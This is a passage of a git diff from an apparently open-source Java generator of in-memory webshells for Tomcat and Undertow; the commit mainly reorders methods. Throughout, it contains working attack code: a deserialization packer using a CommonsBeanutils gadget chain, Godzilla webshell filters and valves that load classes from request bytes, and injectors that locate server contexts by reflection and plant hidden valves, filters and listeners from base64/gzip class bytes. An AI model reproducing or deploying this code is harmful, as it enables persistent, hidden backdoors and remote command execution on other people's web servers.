a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java index fb9c25e3..b6f79df3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java @@ -12,13 +12,6 @@ import java.io.ObjectOutputStream; * @since 2024/12/10 */ public class DeserializePacker implements Packer { - @Override - @SneakyThrows - public byte[] pack(GenerateResult generateResult) { - Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes()); - return serialize(payload); - } - @SneakyThrows public static byte[] serialize(Object obj) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); @@ -28,4 +21,11 @@ public class DeserializePacker implements Packer { oos.close(); return baos.toByteArray(); } + + @Override + @SneakyThrows + public byte[] pack(GenerateResult generateResult) { + Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes()); + return serialize(payload); + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java index bfcea70b..6d77a44b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandListener.java @@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener { public CommandListener() { } + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + @Override public void requestDestroyed(ServletRequestEvent sre) { @@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener { } return response; } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java index 31978da4..d09f48fa 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandValve.java @@ -13,9 +13,9 @@ import java.io.InputStream; * @author ReaJason */ public class CommandValve implements Valve { + public String paramName = "{{paramName}}"; protected Valve next; protected boolean asyncSupported; - public String paramName = "{{paramName}}"; public CommandValve() { } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java index a3063768..d2ad1ba0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilter.java @@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter { super(z); } + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + @SuppressWarnings("all") public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); @@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter { @Override public void destroy() { } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java index 0d942205..78b01ca3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValve.java @@ -15,13 +15,13 @@ import java.io.IOException; * @author ReaJason */ public class GodzillaValve extends ClassLoader implements Valve { - protected Valve next; - protected boolean asyncSupported; public String key = "{{key}}"; public String pass = "{{pass}}"; public String md5 = "{{md5}}"; public String headerName = "{{headerName}}"; public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; public GodzillaValve() { } @@ -30,6 +30,44 @@ public class GodzillaValve extends ClassLoader implements Valve { super(z); } + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + @SuppressWarnings("all") public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); @@ -96,42 +134,4 @@ public class GodzillaValve extends ClassLoader implements Valve { } } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java index 209bb63a..bb41af3c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java @@ -36,18 +36,6 @@ public class TomcatFilterInjector { } } - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - static byte[] decodeBase64(String base64Str) throws Exception { Class decoderClass; try { @@ -72,26 +60,6 @@ public class TomcatFilterInjector { return out.toByteArray(); } - @SuppressWarnings("all") - public Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); } @@ -138,6 +106,38 @@ public class TomcatFilterInjector { } } + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + @SuppressWarnings("all") + public Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java index 826186da..bbffb83e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatListenerInjector.java @@ -17,18 +17,11 @@ import java.util.zip.GZIPInputStream; * 测试版本: * jdk v1.8.0_275 * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + * * @author pen4uin, ReaJason */ public class TomcatListenerInjector { - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - static { new TomcatListenerInjector(); } @@ -44,6 +37,116 @@ public class TomcatListenerInjector { } } + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + static Object getFV(Object obj, String fieldName) throws Exception { + try { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception e) { + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getF(obj, fieldName); + field.set(obj, value); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + @SuppressWarnings("all") public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { List contexts = new ArrayList(); @@ -123,7 +226,7 @@ public class TomcatListenerInjector { } } else if (getFV(context, "applicationEventListenersList") != null) { List appListeners = (List) getFV(context, "applicationEventListenersList"); - if(appListeners != null) { + if (appListeners != null) { appListeners.add(listener); } } @@ -142,106 +245,4 @@ public class TomcatListenerInjector { } return false; } - - @SuppressWarnings("all") - static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class decoderClass; - try { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - ByteArrayInputStream in = new ByteArrayInputStream(compressedData); - GZIPInputStream ungzip = new GZIPInputStream(in); - byte[] buffer = new byte[256]; - int n; - while ((n = ungzip.read(buffer)) >= 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } - - @SuppressWarnings("all") - static Object getFV(Object obj, String fieldName) throws Exception { - try{ - Field field = getF(obj, fieldName); - field.setAccessible(true); - return field.get(obj); - } catch (Exception e){ - return null; - } - } - - static Field getF(Object obj, String fieldName) throws NoSuchFieldException { - Class clazz = obj.getClass(); - while (clazz != null) { - try { - Field field = clazz.getDeclaredField(fieldName); - field.setAccessible(true); - return field; - } catch (NoSuchFieldException e) { - clazz = clazz.getSuperclass(); - } - } - throw new NoSuchFieldException(fieldName); - } - - public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { - Field field = getF(obj, fieldName); - field.set(obj, value); - } - - static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { - return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); - } - - @SuppressWarnings("all") - public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - Class tempClass = clazz; - while (method == null && tempClass != null) { - try { - if (paramClazz == null) { - // Get all declared methods of the class - Method[] methods = tempClass.getDeclaredMethods(); - for (int i = 0; i < methods.length; i++) { - if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { - method = methods[i]; - break; - } - } - } else { - method = tempClass.getDeclaredMethod(methodName, paramClazz); - } - } catch (NoSuchMethodException e) { - tempClass = tempClass.getSuperclass(); - } - } - if (method == null) { - throw new NoSuchMethodException(methodName); - } - method.setAccessible(true); - if (obj instanceof Class) { - try { - return method.invoke(null, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } else { - try { - return method.invoke(obj, param); - } catch (IllegalAccessException e) { - throw new RuntimeException(e.getMessage()); - } - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java index f7216e04..5af3ac4c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java @@ -22,14 +22,6 @@ import java.util.zip.GZIPInputStream; */ public class TomcatValveInjector { - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - static { new TomcatValveInjector(); } @@ -50,71 +42,6 @@ public class TomcatValveInjector { } } - @SuppressWarnings("all") - public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { - List contexts = new ArrayList(); - Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); - Object context = null; - try { - for (Thread thread : threads) { - // 适配 v5/v6/7/8 - if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { - HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); - // 原: map.get("localhost") - // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 - for (Object key : childrenMap.keySet()) { - HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); - // 原: context = children.get(""); - // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 - for (Object key1 : children.keySet()) { - context = children.get(key1); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - // 兼容 spring boot 2.x embedded tomcat - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } - // 适配 tomcat v9 - else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); - if (context != null && context.getClass().getName().contains("StandardContext")) { - contexts.add(context); - } - if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { - contexts.add(context); - } - } - } - } catch (Exception e) { - throw new RuntimeException(e); - } - return contexts; - } - - @SuppressWarnings("all") - private Object getValve(Object context) { - Object valve = null; - ClassLoader classLoader = context.getClass().getClassLoader(); - try { - valve = classLoader.loadClass(getClassName()).newInstance(); - } catch (Exception e) { - try { - byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - valve = clazz.newInstance(); - } catch (Exception e2) { - e2.printStackTrace(); - } - } - return valve; - } - @SuppressWarnings("all") static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class decoderClass; @@ -141,37 +68,6 @@ public class TomcatValveInjector { return out.toByteArray(); } - - @SuppressWarnings("all") - public boolean isInjected(Object context, String valveClassName) throws Exception { - Object obj = invokeMethod(context, "getPipeline"); - Object[] valves = (Object[]) invokeMethod(obj, "getValves"); - List valvesList = Arrays.asList(valves); - for (Object valve : valvesList) { - if (valve.getClass().getName().contains(valveClassName)) { - return true; - } - } - return false; - } - - @SuppressWarnings("all") - public void injectValve(Object context, Object valve) throws Exception { - if (isInjected(context, valve.getClass().getName())) { - System.out.println("valve already injected"); - return; - } - try { - Class valveClass; - String valveClassName = "org.apache.catalina.Valve"; - valveClass = context.getClass().getClassLoader().loadClass(valveClassName); - Object obj = invokeMethod(context, "getPipeline"); - invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve}); - } catch (Exception e) { - e.printStackTrace(); - } - } - @SuppressWarnings("all") private static synchronized Object getFV(Object var0, String var1) throws Exception { Field var2 = null; @@ -241,6 +137,109 @@ public class TomcatValveInjector { } } + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + @SuppressWarnings("all") + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + @SuppressWarnings("all") + private Object getValve(Object context) { + Object valve = null; + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + valve = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + valve = clazz.newInstance(); + } catch (Exception e2) { + e2.printStackTrace(); + } + } + return valve; + } + + @SuppressWarnings("all") + public boolean isInjected(Object context, String valveClassName) throws Exception { + Object obj = invokeMethod(context, "getPipeline"); + Object[] valves = (Object[]) invokeMethod(obj, "getValves"); + List valvesList = Arrays.asList(valves); + for (Object valve : valvesList) { + if (valve.getClass().getName().contains(valveClassName)) { + return true; + } + } + return false; + } + + @SuppressWarnings("all") + public void injectValve(Object context, Object valve) throws Exception { + if (isInjected(context, valve.getClass().getName())) { + System.out.println("valve already injected"); + return; + } + try { + Class valveClass; + String valveClassName = "org.apache.catalina.Valve"; + valveClass = context.getClass().getClassLoader().loadClass(valveClassName); + Object obj = invokeMethod(context, "getPipeline"); + invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve}); + } catch (Exception e) { + e.printStackTrace(); + } + } + public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); ClassLoader catalinaLoader = null; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java index 3113d478..72179a9f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/command/CommandListener.java @@ -18,6 +18,26 @@ public class CommandListener implements ServletRequestListener { public CommandListener() { } + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + @Override public void requestDestroyed(ServletRequestEvent sre) { @@ -55,24 +75,4 @@ public class CommandListener implements ServletRequestListener { } return response; } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java index 56ffd4f8..8a8fc8e2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/undertow/godzilla/GodzillaFilter.java @@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter { super(z); } + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + @SuppressWarnings("all") public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); @@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter { @Override public void destroy() { } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } } diff --git 